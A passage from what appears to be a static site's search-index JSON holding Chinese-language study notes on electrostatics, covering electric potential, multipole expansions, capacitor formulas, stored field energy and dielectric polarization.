\\Omega} Pdx + Qdy + Rdz &amp;= \\iint_{\\Omega} \\left( \\frac{\\partial R}{\\partial y} - \\frac{\\partial Q}{\\partial z} \\right) dydz + \\left( \\frac{\\partial P}{\\partial z} - \\frac{\\partial R}{\\partial x} \\right) dzdx + \\left( \\frac{\\partial Q}{\\partial x} - \\frac{\\partial P}{\\partial y} \\right) dxdy\\\\   &amp;= \\left\\lvert  \\begin{matrix} \\cos \\alpha &amp; \\cos \\beta &amp; \\cos \\gamma \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ P &amp; Q &amp; R \\end{matrix} \\right\\rvert dS\\\\   &amp;=  \\left\\lvert \\begin{matrix} dydz &amp; dzdx &amp; dxdy \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ P &amp; Q &amp; R \\end{matrix} \\right \\lvert\\\\   &amp;= \\iint_{\\Omega} \\nabla \\times \\boldsymbol{F} \\cdot d\\boldsymbol{S} \\end{align*}\\]"},{"location":"NOTE/Physics/eletronic/#electric-potential","title":"Electric Potential(\u7535\u52bf)","text":""},{"location":"NOTE/Physics/eletronic/#_6","title":"\u7535\u52bf\u80fd\u4e0e\u7535\u52bf","text":"<p>\u7535\u52bf\u662f\u7535\u573a\u4e2d\u67d0\u4e00\u70b9\u7684\u7269\u7406\u91cf\uff0c\u5b9a\u4e49\u4e3a\u5355\u4f4d\u6b63\u7535\u8377\u5728\u8be5\u70b9\u6240\u5177\u6709\u7684\u7535\u52bf\u80fd\u3002\u5177\u4f53\u6765\u8bf4\uff0c\u7535\u52bf \\( V \\) \u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ V = \\frac{U}{q} \\] <p>\u5176\u4e2d \\( U \\) \u662f\u7535\u52bf\u80fd\uff0c\\( q \\) \u662f\u7535\u8377\u91cf\u3002\u7535\u52bf\u662f\u4e00\u4e2a\u6807\u91cf\uff0c\u901a\u5e38\u76f8\u5bf9\u4e8e\u65e0\u9650\u8fdc\u5904\u7684\u7535\u52bf\u4e3a\u96f6\u6765\u8ba1\u7b97\u3002</p> <p>Key-point</p> <p>\u8ba1\u7b97\u67d0\u70b9a\u7684\u7535\u52bf\u7684\u53ef\u4ee5\u4f7f\u7528\u4ece\u8be5\u70b9\u5230\u65e0\u7a77\u8fdc\u7684\u7535\u573a\u7684\u79ef\u5206\uff1a</p> \\[ V = \\int_{a}^{\\infty} \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>\u56e0\u4e3a\\(W_{a}^{\\infty}=-U_{a}^{\\infty}=U_a-U_{\\infty}\\),\u800c \\(U_{\\infty}=0\\),\\(W=\\int q \\boldsymbol{E} \\cdot d\\boldsymbol{l}\\),\\(V = \\frac{U}{q}\\)</p> <p>\u6839\u636e\u8fd9\u4e2a\u5f0f\u5b50\u53ef\u4ee5\u5f97\u5230 \u70b9\u7535\u8377\u4ea7\u751f\u7684\u7535\u52bf</p> \\[ V = \\frac{q}{4 \\pi \\varepsilon_0 r} \\] <p>\u6839\u636e\u70b9\u7535\u8377\u4ea7\u751f\u7684\u7535\u52bf\uff0c\u53ef\u4ee5\u5f97\u5230\u7535\u5076\u6781\u77e9\u4ea7\u751f\u7684\u7535\u52bf</p> \\[\\begin{align*}   V &amp;= \\dfrac{q}{4 \\pi \\varepsilon_0} \\left( \\frac{1}{r_1} - \\frac{1}{r_2} \\right)\\\\     &amp;=  \\dfrac{q}{4 \\pi \\varepsilon_0} \\left( \\frac{r_1-r_2}{r_1r_2}\\right) \\end{align*}\\] <p>\u5f53 \\(r &gt;&gt; a\\), \\(r_1 \\approx r_2 \\approx r\\)\uff0c\u6240\u4ee5\\(r_1-r_2 \\approx 2a\\cos \\theta,r_1r_2 \\approx r^2,p=2aq\\)</p> \\[\\begin{align*}   V &amp;=  \\dfrac{q}{4 \\pi \\varepsilon_0} \\left( \\dfrac{2a \\cos \\theta}{r^2}\\right)\\\\     &amp;=  \\dfrac{p \\cos \\theta}{4 \\pi \\varepsilon_0 r^2}\\\\     &amp;=  \\dfrac{p \\cdot \\hat{r}}{4 \\pi \\varepsilon_0 r^2} \\end{align*}\\] <p>\\(\\theta = \\frac{\\pi}{2},V=0;\\theta=0,V_{max}&gt;0;\\theta=\\pi,V_{min}&lt;0\\)</p> <p>\u4e5f\u53ef\u4ee5\u63a8\u5bfc\u7535\u56db\u5076\u6781\u77e9\u7684\u7535\u52bf</p> \\[\\begin{align*} V(r) &amp;= \\sum_i V_i(r_i) \\\\      &amp;= \\frac{1}{4 \\pi \\epsilon_0} \\left( \\frac{q}{r - d} + \\frac{-2q}{r} + \\frac{q}{r + d} \\right) \\\\      &amp;= \\frac{1}{4 \\pi \\epsilon_0} \\frac{2 q d^2}{r(r^2 - d^2)} \\\\      &amp;= \\frac{1}{4 \\pi \\epsilon_0} \\frac{2 q d^2}{r^3 \\left( 1 - \\frac{d^2}{r^2} \\right)} \\end{align*}\\] \\[For \\enspace d &lt;&lt; r, \\frac{d^2}{r^2} &lt;&lt; 1 \\\\ V(r) = \\frac{2 q d^2}{4 \\pi \\epsilon_0 r^3} = \\frac{Q}{4 \\pi \\epsilon_0 r^3}\\] <p>\u5176\u4e2d \\(Q = 2qd^2\\) \u662f\u7535\u56db\u5076\u6781\u77e9</p> <p>Key-point</p> <p>\u5bf9\u4e8e\u70b9\u7535\u8377\uff0c \\(V \\propto \\frac{1}{r}\\), \u5bf9\u4e8e\u7535\u5076\u6781\u77e9\uff0c\\(V \\propto \\frac{1}{r^2}\\), \u5bf9\u4e8e\u7535\u56db\u5076\u6781\u77e9\uff0c\\(V \\propto \\frac{1}{r^3}\\)</p> \u901a\u8fc7\u6d4b\u91cf\u7535\u52bf\u5224\u65ad\u7535\u8377\u7684\u5206\u5e03 <p>$$   V\\left(r\\right)= \\frac{1}{4 \\pi \\epsilon_0} \\left( \\frac{A_1}{r} + \\frac{A_2}{r^2} + \\frac{A_3}{r^3} + \\dots \\right) \\       = \\frac{1}{4 \\pi \\epsilon_0} \\sum_i \\frac{A_i}{r^i}   $$</p>"},{"location":"NOTE/Physics/eletronic/#_7","title":"\u7403\u58f3\u7684\u7535\u52bf","text":"<p>\u5229\u7528Guass\u5b9a\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u7403\u58f3\u7684\u7535\u573a\u5206\u5e03\uff1a</p> <p>\u5728\u7403\u58f3\u5185\u90e8\uff0c\u7535\u573a\u4e3a0\uff0c\u5728\u7403\u58f3\u5916\u90e8\uff0c\u7535\u573a\u4e3a\u70b9\u7535\u8377\u4ea7\u751f\u7684\u7535\u573a</p> <p>\u5219\u5bf9\u4e8e\u8ddd\u79bb\u7403\u5fc3\u8ddd\u79bb\u4e3a \\(r\\) \u7684\u70b9\uff0c\u5176\u7535\u52bf\u6709\u4ee5\u4e0b\u4e24\u79cd\u60c5\u51b5</p> <ul> <li>\\(r &lt; R\\)\uff0c\u5219 \\(V = \\int_{r}^{R} E \\cdot dr + \\int_{R}^{+\\infty} E \\cdot dr = 0 + \\frac{q}{4 \\pi \\epsilon_0 R}\\) </li> <li>\\(r &gt; R\\)\uff0c\u5219 \\(V = \\int_{r}^{+\\infty}= \\frac{q}{4 \\pi \\epsilon_0 r}\\) </li> </ul> <p>\u5bf9\u4e8e\u8be5\u7403\u58f3\u7684\u7535\u52bf\u80fd\uff0c\u53ef\u4ee5\u5c06\u5176\u5206\u9694\u4e3a\u5f88\u591a\u4e2a\u5c0f\u7535\u8377\uff0c\u7136\u540e\u5bf9\u6bcf\u4e2a\u5c0f\u7535\u8377\u7684\u7535\u52bf\u80fd\u6c42\u548c\uff0c\u7531\u4e8e\\(ij\\)\u5bf9\u79f0\u6027\uff0c\u8981\u4e58\u4ee5\\(\\frac{1}{2}\\)</p> \\[\\begin{align*} U &amp;= \\sum_{i,j=1 (j &gt; i)}^{n} \\frac{q_i q_j}{4 \\pi \\varepsilon_0 r_{ij}} \\\\   &amp;= \\frac{1}{2} \\sum_{i=1}^{n} \\sum_{j=1}^{n} \\frac{q_i q_j}{4 \\pi \\varepsilon_0 r_{ij}} \\\\   &amp;= \\frac{1}{2} \\sum_{i=1}^{n} q_i V_i \\\\   &amp;= \\frac{1}{2} \\int V dq = \\frac{1}{2} \\cdot \\frac{q}{4 \\pi \\varepsilon_0 R} \\cdot q \\\\   &amp;= \\frac{q^2}{8 \\pi \\varepsilon_0 R} \\end{align*}\\] <p>\u89e3\u91ca</p> <p>\u56fa\u5b9a \\(i\\) ,\u5148\u5bf9 \\(j\\) \u6c42\u548c\uff0c\u76f8\u5f53\u4e8e\u6574\u4e2a\u7403\u58f3\u5728 \\(i\\) \u4ea7\u751f\u7684\u7535\u52bf \\(V_i\\) \uff0c\u518d\u5bf9 \\(i\\) \u6c42\u548c\uff0c\u6b64\u65f6\u7531\u4e8e\u7403\u58f3\u5185\u548c\u7403\u58f3\u4e0a\u7684\u7535\u52bf\u90fd\u662f \\(\\dfrac{q}{4 \\pi \\epsilon_0 R}\\) ,\u6240\u4ee5\u6700\u540e\u53ea\u9700\u8981\u5bf9\u4e8e\u7403\u58f3\u4e0a\u7684\u7535\u8377\u6c42\u548c\u5373\u53ef\uff0c\u901a\u8fc7\u7ed3\u679c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0 \u7535\u52bf\u80fd\u8574\u85cf\u5728\u7535\u573a\u4e2d</p> \u4f30\u7b97\u7535\u5b50\u7684\u534a\u5f84 <p>\u7535\u5b50\u7684\u7535\u52bf\u80fd\u4e0e\u5176\u539f\u5b50\u80fd\u76f8\u7b49\uff0c\u8fd9\u6837\u5904\u4e8e\u5e73\u8861\u72b6\u6001</p> \\[\\begin{align*} W &amp;= mc^2 = \\frac{e^2}{8 \\pi \\varepsilon_0 R} \\\\ R &amp;= \\frac{e^2}{8 \\pi \\varepsilon_0 mc^2} \\approx 1.4 \\times 10^{-15} \\ m \\end{align*}\\]"},{"location":"NOTE/Physics/eletronic/#_8","title":"\u901a\u8fc7\u7535\u52bf\u6c42\u7535\u573a","text":"<p>\u7531\u4e8e\u6211\u4eec\u6709</p> \\[   V_{a}^{b} = -\\int_{a}^{b} \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>\u6545</p> \\[     dV = -\\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] \\[   \\boldsymbol{E} = - \\frac{dV}{dl}= - \\nabla V \\] <p>\u5373\u6c42\u67d0\u4e00\u65b9\u5411\u7684\u7535\u573a\uff0c\u53ea\u9700\u8981\u6c42\u8be5\u65b9\u5411\u7684\u7535\u52bf\u7684\u504f\u5bfc\u6570\u5373\u53ef</p> <p>\u5c04\u5f71\u6cd5\u6c42\u7535\u573a</p> <p>\u901a\u8fc7\u7535\u573a\u7ebf\u7684\u7c7b\u4f3c\u6027\u6784\u9020\u65b0\u7684\u7535\u8377\u6765\u6c42\u7535\u573a\uff1b\u4f8b\u5982\u611f\u5e94\u5728\u65e0\u7a77\u957f\u7684\u5bfc\u4f53\u677f\u4e0a\u7684\u7535\u573a\uff0c\u53ef\u4ee5\u7c7b\u4f3c\u4e8e\u5728\u5bf9\u79f0\u7684\u4f4d\u7f6e\u4e0a\u653e\u4e0a\u4e00\u4e2a\u70b9\u7535\u8377 </p>"},{"location":"NOTE/Physics/eletronic/#capacitance","title":"Capacitance(\u7535\u5bb9)","text":"<p>Definition</p> <p>\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u5b9a\u4e49\u4e3a</p> \\[ C = \\frac{q}{V} \\] <p>\u5176\u4e2d \\(q\\) \u662f\u7535\u5bb9\u5668\u4e0a\u7684\u7535\u8377\uff0c\\(V\\) \u662f\u7535\u5bb9\u5668\u4e0a\u7684\u7535\u52bf\u5dee</p>"},{"location":"NOTE/Physics/eletronic/#_9","title":"\u5e73\u884c\u677f\u7535\u5bb9\u5668","text":"\\[   V=\\int_{a}^{b} \\boldsymbol{E} \\cdot d\\boldsymbol{l} = E \\cdot d = \\frac{\\sigma}{\\varepsilon_0}d \\] \\[   C = \\frac{q}{V} = \\dfrac{\\sigma A}{\\frac{\\sigma}{\\varepsilon_0}d}= \\frac{\\varepsilon_0 A}{d} \\] <p>\u6545\u5e73\u884c\u677f\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u4e0e\u677f\u7684\u9762\u79ef\u6210\u6b63\u6bd4\uff0c\u4e0e\u677f\u7684\u8ddd\u79bb\u6210\u53cd\u6bd4\uff0c\u5373\u4e0e\u7535\u5bb9\u5668\u7684\u51e0\u4f55\u53c2\u6570\u6709\u5173</p>"},{"location":"NOTE/Physics/eletronic/#_10","title":"\u5706\u67f1\u7535\u5bb9\u5668","text":"<p>\u9996\u5148\u7528\u9ad8\u65af\u5b9a\u5f8b\u8ba1\u7b97\u7535\u573a</p> \\[   E \\cdot 2 \\pi r l = \\frac{\\lambda l}{\\varepsilon_0} \\Rightarrow E = \\frac{\\lambda}{2 \\pi \\varepsilon_0 r} \\] \\[   V = \\int_{a}^{b} E \\cdot dr = \\int_{a}^{b} \\frac{\\lambda}{2 \\pi \\varepsilon_0 r} dr = \\frac{\\lambda}{2 \\pi \\varepsilon_0} \\ln \\frac{b}{a} \\] \\[   C = \\frac{q=\\lambda l}{V} = \\frac{2 \\pi \\varepsilon_0 l}{\\ln \\frac{b}{a}} \\] <p>\u90a3\u4e48\u5bf9\u4e8e\u5355\u4f4d\u957f\u5ea6\u7684\u7535\u5bb9\uff0c\u6709</p> \\[   C' = \\frac{C}{l} = \\frac{2 \\pi \\varepsilon_0}{\\ln \\frac{b}{a}} \\]"},{"location":"NOTE/Physics/eletronic/#_11","title":"\u7403\u5f62\u7535\u5bb9\u5668","text":"\\[   E \\cdot 4 \\pi r^2 = \\frac{q}{\\varepsilon_0} \\Rightarrow E = \\frac{q}{4 \\pi \\varepsilon_0 r^2} \\] \\[   V = \\int_{a}^{b} E \\cdot dr = \\int_{a}^{b} \\frac{q}{4 \\pi \\varepsilon_0 r^2} dr = \\frac{q}{4 \\pi \\varepsilon_0} \\left( \\frac{1}{a} - \\frac{1}{b} \\right) \\] \\[   C = \\frac{q}{V} = 4 \\pi \\varepsilon_0 \\frac{ab}{b-a} \\] <p>Property</p> <p>\u7279\u522b\u7684\uff0c\u5f53 \\(b \\to \\infty\\) \u65f6\uff0c\\(C = 4 \\pi \\varepsilon_0 a\\),\u8fd9\u8bf4\u660e\u7535\u5bb9\u5e76\u4e0d\u4e00\u5b9a\u9700\u8981\u4e24\u4e2a\uff0c\u4e00\u4e2a\u5bfc\u4f53\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u7535\u5bb9</p>"},{"location":"NOTE/Physics/eletronic/#_12","title":"\u7535\u5bb9\u5668\u7684\u5e76\u8054\u548c\u4e32\u8054","text":""},{"location":"NOTE/Physics/eletronic/#_13","title":"\u5e76\u8054(\u7535\u538b\u4e00\u81f4)","text":"\\[   V=\\frac{Q_1}{C_1}=\\frac{Q_2}{C_2} \\Rightarrow Q = Q_1 + Q_2 = C_1 V + C_2 V = (C_1 + C_2) V \\] \\[   C = \\frac{Q}{V} = C_1 + C_2 \\]"},{"location":"NOTE/Physics/eletronic/#_14","title":"\u4e32\u8054(\u7535\u8377\u4e00\u81f4)","text":"\\[   Q = Q_1 = Q_2 = C_1 V_1 = C_2 V_2 \\] \\[   V = V_1 + V_2 = \\frac{Q}{C_1} + \\frac{Q}{C_2} = Q \\left( \\frac{1}{C_1} + \\frac{1}{C_2} \\right) \\] \\[   C = \\frac{Q}{V} = \\frac{1}{\\frac{1}{C_1} + \\frac{1}{C_2}} \\] \\[   \\frac{1}{C} = \\frac{1}{C_1} + \\frac{1}{C_2} \\] <p>Key-point</p> <p>\u4e32\u8054\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u662f\u5e76\u8054\u7535\u5bb9\u5668\u7684\u5012\u6570\u7684\u548c\uff0c\u800c\u5e76\u8054\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u662f\u4e32\u8054\u7535\u5bb9\u5668\u7684\u548c\uff0c\u8fd9\u6070\u597d\u8ddf\u7535\u963b\u7684\u4e32\u8054\u548c\u5e76\u8054\u76f8\u53cd</p>"},{"location":"NOTE/Physics/eletronic/#_15","title":"\u7535\u5bb9\u5668\u7684\u80fd\u91cf","text":"<p>\u8003\u8651\u4e00\u4e2a\u5e73\u884c\u677f\u7535\u5bb9\u5668\uff0c\u5176\u7535\u5bb9\u4e3a \\(C\\)\uff0c\u7535\u538b\u4e3a \\(V\\)\uff0c\u5219\u5176\u5177\u6709\u7684\u80fd\u91cf\u76f8\u5f53\u4e8e\u4ece\u8d1f\u6781\u677f\u4e0d\u65ad\u5c06\u7535\u8377\u79fb\u52a8\u5230\u6b63\u6781\u677f\uff0c\u8fd9\u6837\u7684\u8fc7\u7a0b\u4e2d\u514b\u670d\u7535\u573a\u529b\u6240\u505a\u7684\u529f</p> \\[   U= \\int_{0}^{Q} V dq = \\int_{0}^{Q} \\frac{q}{C} dq = \\frac{Q^2}{2C} = \\frac{1}{2} CV^2 \\] <p>\u5b83\u7684\u80fd\u91cf\u50a8\u5b58\u5728\u5b83\u7684\u7535\u573a\u4e2d\uff1b\u7531\u4e8e\\(V=Ed\\);</p> \\[   U = \\frac{1}{2} \\varepsilon_0 E^2 A d \\] <p>\u8fd9\u6837\u5c31\u5f97\u5230\u5355\u4f4d\u4f53\u79ef\u7684\u7535\u573a\u80fd\u91cf\u5bc6\u5ea6</p> <p>Key-point</p> \\[   \\mu=\\frac{U}{V} = \\frac{1}{2} \\varepsilon_0 E^2  \\] <p>Warning</p> <p>\u867d\u7136\u516c\u5f0f\u662f\u7531\u5e73\u884c\u677f\u7535\u5bb9\u5668\u63a8\u5bfc\u51fa\u6765\u7684\uff0c\u4f46\u662f\u8fd9\u4e2a\u516c\u5f0f\u4ee5\u53ca\u80fd\u91cf\u5bc6\u5ea6\u516c\u5f0f\u5bf9\u4e8e\u4efb\u4f55\u7535\u5bb9\u5668\u90fd\u662f\u6210\u7acb\u7684</p>"},{"location":"NOTE/Physics/eletronic/#_16","title":"\u7535\u4ecb\u8d28\uff0c\u7535\u573a\u4e2d\u7684\u7edd\u7f18\u4f53","text":"<p>\u5f71\u54cd\u7535\u5bb9\u8fd8\u6709\u53e6\u5916\u4e00\u4e2a\u5341\u5206\u91cd\u8981\u7684\u56e0\u7d20\uff0c\u4ecb\u7535\u5e38\u6570\\(\\kappa_e\\),\u5f53\u7535\u5bb9\u5668\u4e2d\u63d2\u5165\u7535\u4ecb\u8d28\u65f6\uff0c\u7535\u5bb9\u5668\u7684\u7535\u5bb9\u4f1a\u589e\u52a0\uff0c\u5177\u4f53\u4e3a</p> \\[   C=C_0 \\kappa_e \\]"},{"location":"NOTE/Physics/eletronic/#_17","title":"\u5b8f\u89c2\u89e3\u91ca","text":"<ul> <li>\u5728\u5e73\u884c\u677f\u7535\u5bb9\u5668\u4e2d\u63d2\u5165\u4e00\u6839\u5bfc\u4f53\uff0c\u5176\u8868\u9762\u4f1a\u4ea7\u751f\u611f\u5e94\u7535\u8377\uff0c\u76f8\u5f53\u4e8e\u4e24\u4e2a\u7535\u5bb9\u5668\u4e32\u8054</li> </ul> \\[\\begin{align*}   C_1 &amp;= \\varepsilon_0 \\frac{A}{d_1} \\\\   C_2 &amp;= \\varepsilon_0 \\frac{A}{d_2} \\\\   C&amp;=\\frac{C_1C_2}{C_1+C_2}=\\varepsilon_0 \\frac{A}{d_1+d_2} \\end{align*}\\] <p>\u7535\u5bb9\u53d8\u5927\u4e86\uff0c\u4f46\u662f\u4e0d\u80fd\u63d2\u5165\u7684\u5bfc\u4f53\u4e0d\u80fd\u592a\u539a\uff0c\u5426\u5219\u95f4\u9699\u592a\u5c0f\uff0c\u5f88\u5bb9\u6613\u5c31\u8fbe\u5230\u7a7a\u6c14\u7684\u51fb\u7a7f\u7535\u538b\uff0c\u6240\u4ee5\u5373\u4f7f\u5bfc\u4f53\u80fd\u5f88\u5f88\u597d\u7684\u589e\u52a0\u7535\u5bb9\uff0c\u6211\u4eec\u4e5f\u4e0d\u4f7f\u7528\uff0c\u800c\u662f\u4f7f\u7528\u5176\u4ed6\u7684\u7535\u4ecb\u8d28</p> <ul> <li>\u5728\u5e73\u884c\u677f\u7535\u5bb9\u5668\u4e2d\u63d2\u5165\u4e00\u6839\u7535\u4ecb\u8d28\uff0c\u4f7f\u5176\u5145\u6ee1\u95f4\u9699\uff1b\u5176\u8868\u9762\u4f1a\u4ea7\u751f\u675f\u7f1a\u7535\u8377\uff0c\u5728\u4ecb\u8d28\u4e4b\u95f4\u4f1a\u4ea7\u751f\u611f\u5e94\u7535\u573a\uff0c\u62b5\u6d88\u6389\u539f\u7535\u573a\u7684\u4e00\u90e8\u5206\uff08\u4f46\u662f\u4e0d\u4e3a0\uff09\uff1b\u4e24\u6781\u677f\u95f4\u7684\u7535\u573a\u51cf\u5c0f\uff0c\u7535\u538b\u51cf\u5c0f\uff0c\u7535\u8377\u91cf\u4e0d\u53d8\uff0c\u7535\u5bb9\u589e\u5927\uff1b\u6b64\u65f6\u6211\u4eec\u79f0\u8be5\u4ecb\u8d28\u88ab\u6781\u5316(polarization)\u4e86</li> </ul> <p>Info</p> <p>\u5176\u5b9e\uff0c\u5728\u82f1\u6587\u7684\u6559\u6750\u4e2d\uff0c\u4e0d\u7ba1\u662f\u611f\u5e94\u7535\u8377\u8fd8\u662f\u675f\u7f1a\u7535\u8377\uff0c\u90fd\u4f7f\u7528 induced charge \u6765\u8868\u793a\uff0c\u5728\u4e2d\u6587\u4e2d\uff0c\u6211\u4eec\u4e3a\u4e86\u533a\u5206\u5bfc\u4f53\u4ea7\u751f\u7684\u4e0e\u975e\u5bfc\u4f53\u4ea7\u751f\u7684\uff0c\u6240\u4ee5\u4f7f\u7528\u4e86\u4e0d\u540c\u7684\u8bcd\u6c47</p>"},{"location":"NOTE/Physics/eletronic/#_18","title":"\u6781\u5316\u5fae\u89c2\u89e3\u91ca","text":"<p>Definiton</p> <ul> <li>Non-polar dielectrics:\u65e0\u6781\u5206\u5b50\u7535\u4ecb\u8d28\uff0c\u6307\u7684\u662f\u5206\u5b50\u4e2d\u7684\u6b63\u8d1f\u7535\u8377\u4e2d\u5fc3\u91cd\u5408\uff0c\u5982\u6c27\u6c14\uff0c\u6c2e\u6c14\uff0c \u4e8c\u6c27\u5316\u78b3\u7b49</li> <li>Polar dielectrics:\u6709\u6781\u5206\u5b50\u7535\u4ecb\u8d28\uff0c\u6307\u7684\u662f\u5206\u5b50\u4e2d\u7684\u6b63\u8d1f\u7535\u8377\u4e2d\u5fc3\u4e0d\u91cd\u5408\uff0c\u5982\u6c34</li> </ul> <p>\u5bf9\u4e8e Non-polar dielectrics\uff0c\u5f53\u7535\u573a\u4f5c\u7528\u4e8e\u5176\u4e0a\u65f6\uff0c\u5b83\u4f1a\u5c06\u91cd\u5408\u7684\u6b63\u8d1f\u7535\u8377\u4e2d\u5fc3\u5206\u5f00\uff0c\u5f62\u6210\u7535\u5076\u6781\u77e9\uff0c\u8fd9\u6837\u5c31\u4f1a\u4ea7\u751f\u4e00\u4e2a\u4e0e\u7535\u573a\u65b9\u5411\u76f8\u53cd\u7684\u7535\u573a\uff0c\u4ece\u800c\u51cf\u5c0f\u4e86\u7535\u573a\u5f3a\u5ea6(\u5185\u90e8\u7684\u7535\u573a\u77e2\u91cf\u6c42\u548c\u4e4b\u540e\uff0c\u76f8\u5f53\u4e8e\u5728\u8868\u9762\u5206\u522b\u4ea7\u751f\u6b63\u8d1f\u7535\u8377)</p> <p>Note</p> <p>\u5176\u672c\u8d28\u662f\u7535\u5b50\u4e91\u4f4d\u79fb\u7684\u7ed3\u679c</p> <p>\u5bf9\u4e8e Polar dielectrics\uff0c\u5f53\u7535\u573a\u4f5c\u7528\u4e8e\u5176\u4e0a\u65f6\uff0c\u5b83\u4f1a\u7ed9\u539f\u672c\u6742\u4e71\u65e0\u7ae0\u7684\u7535\u5076\u6781\u77e9\u4e00\u4e2a\u529b\u77e9\uff0c\u8fd9\u4e2a\u529b\u77e9\u4f1a\u4f7f\u5f97\u7535\u5076\u6781\u77e9\u504f\u5411\u7535\u573a\u65b9\u5411\uff0c\u8fd9\u6837\u7684\u6781\u5316\u53eb\u505a \u53d6\u5411\u6781\u5316</p> <p>Note</p> <p>\u5f53\u53d6\u5411\u6781\u5316\u53d1\u751f\u65f6\uff0c\u7535\u5b50\u4e91\u7684\u4f4d\u79fb\u4e5f\u4f1a\u53d1\u751f\uff0c\u4f46\u662f\u5f7c\u6b64\u5dee\u4e86\u4e24\u4e2a\u91cf\u7ea7\uff0c\u4e00\u822c\u5ffd\u7565\u4e86\u7535\u5b50\u4e91\u7684\u4f4d\u79fb\uff1b\u4f46\u662f\u5f53\u5916\u90e8\u7535\u573a\u53d8\u5316\u9891\u7387\u5f88\u5927\u65f6\uff0c\u7535\u5076\u6781\u77e9\u8f6c\u6765\u8f6c\u53bb\u662f\u8ddf\u4e0d\u4e0a\u7684\uff0c\u4f46\u662f\u7535\u5b50\u4e91\u7684\u5de6\u53f3\u79fb\u52a8\u662f\u53ef\u4ee5\u7684\uff0c\u8fd9\u65f6\u5019\u7535\u5b50\u4e91\u7684\u4f4d\u79fb\u662f\u4e3b\u8981\u5f71\u54cd\u7684\u56e0\u7d20</p>"},{"location":"NOTE/Physics/eletronic/#polarization","title":"\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf(Polarization)","text":"<p>Definition</p> <p>\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf \\(\\boldsymbol{P}\\) \u5b9a\u4e49\u4e3a\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u7535\u5076\u6781\u77e9\u4e4b\u548c</p> \\[ \\boldsymbol{P} = \\frac{\\sum \\boldsymbol{p}}{\\Delta V} \\] <p>\u5176\u4e2d \\(\\boldsymbol{p}\\) \u662f\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u7535\u5076\u6781\u77e9;</p> <p>\\(P\\) \u53ef\u80fd\u662f\u5747\u5300\u7684\uff0c\u4e5f\u53ef\u80fd\u662f\u4e0d\u5747\u5300\u7684</p> <p>\u5bf9\u4e8e\u4efb\u610f\u7684\u7535\u4ecb\u8d28\uff0c\u5728\u5176\u8868\u9762\u53d6\u4e00\u4e2a\u5c0f\u659c\u5706\u7b52\uff0c\u6bcd\u7ebf\u4e0e\u7535\u573a\u65b9\u5411\u4e00\u81f4\uff0c\u957f\u5ea6\u4e3a\u4e00\u4e2a\u7535\u5076\u957f\u5ea6\uff1b\u5e95\u9762\u4e0e\u8be5\u8868\u9762\u7684\u6cd5\u5411\u91cf\u5782\u76f4\uff0c\u8fd9\u6837\u659c\u659c\u5706\u7b52\u5185\u53ea\u53ef\u80fd\u6709\u6b63\u7535\u8377\uff1b</p> <p>\u8bbe \\(n\\) \u4e3a\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u7535\u5076\u6781\u77e9\u6570\u76ee(\u5206\u5b50\u6570\u76ee) \u5219</p> \\[\\begin{align*}     \\boldsymbol{P} &amp;= \\frac{\\sum \\boldsymbol{p}}{\\Delta V} = nql\\\\     dN&amp;=ndV=nldA \\cos \\theta \\\\     dq'&amp;=qdN=nql dA\\cos \\theta \\\\        &amp;=\\boldsymbol{p} \\cdot \\boldsymbol{dA} \\end{align*}\\] <p>\u6240\u4ee5</p> \\[   \\oiint \\boldsymbol{P} \\cdot d\\boldsymbol{A} = \\sum_{out} q'=-\\sum_{in} q' \\] <p>Key-point</p> <p>\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u4e0e\u95ed\u5408\u66f2\u9762\u7684\u5185\u79ef\u79ef\u5206\u7b49\u4e8e\u8be5\u66f2\u9762\u8868\u9762\u7684\u675f\u7f1a\u7535\u8377\uff0c\u7b49\u4e8e\u8be5\u66f2\u9762\u5185\u90e8\u7535\u8377\u7684\u76f8\u53cd\u6570(\u5916\u9762\u6709\u591a\u5c11\u6b63\u7684\uff0c\u91cc\u9762\u5c31\u6709\u591a\u5c11\u8d1f\u7684)</p> <p>\u540c\u65f6</p> \\[    \\sigma' = \\dfrac{dq'}{dA} = \\boldsymbol{P} \\cdot \\boldsymbol{n} \\] <p>\u9762\u7535\u8377\u5bc6\u5ea6\u7b49\u4e8e\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u5728\u6cd5\u5411\u4e0a\u7684\u5206\u91cf\uff1b\u7531\u5939\u89d2\u6765\u63a7\u5236\u6b63\u8d1f</p>"},{"location":"NOTE/Physics/eletronic/#_19","title":"\u7535\u4ecb\u8d28\u7684\u6781\u5316\u89c4\u5f8b","text":"<p>Definition</p> <p>\u5728\u5404\u5411\u5f02\u6027\u7684\u4ecb\u8d28\u4e2d\uff0c\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u662f\u7535\u573a\u7684\u51fd\u6570\uff0c\u5728\u5404\u9879\u540c\u6027\u7684\u6750\u6599\u4e2d\\(\\boldsymbol{P}=\\varepsilon_0 \\chi_e E\\)</p> <p>\u5176\u4e2d \\(\\chi_e\\) \u662f\u7535\u4ecb\u8d28\u7684\u7535\u6781\u5316\u7387\uff0c\u4e0e\u4ecb\u7535\u5e38\u6570\u7684\u5173\u7cfb\u4e3a \\(\\kappa_e = 1 + \\chi_e\\)</p>"},{"location":"NOTE/Physics/eletronic/#guass","title":"Guass\u5b9a\u5f8b\u7684\u63a8\u5e7f","text":"<p>\u8003\u8651\u4e00\u4e2a\u6b63\u7535\u8377 \\(q_0\\) 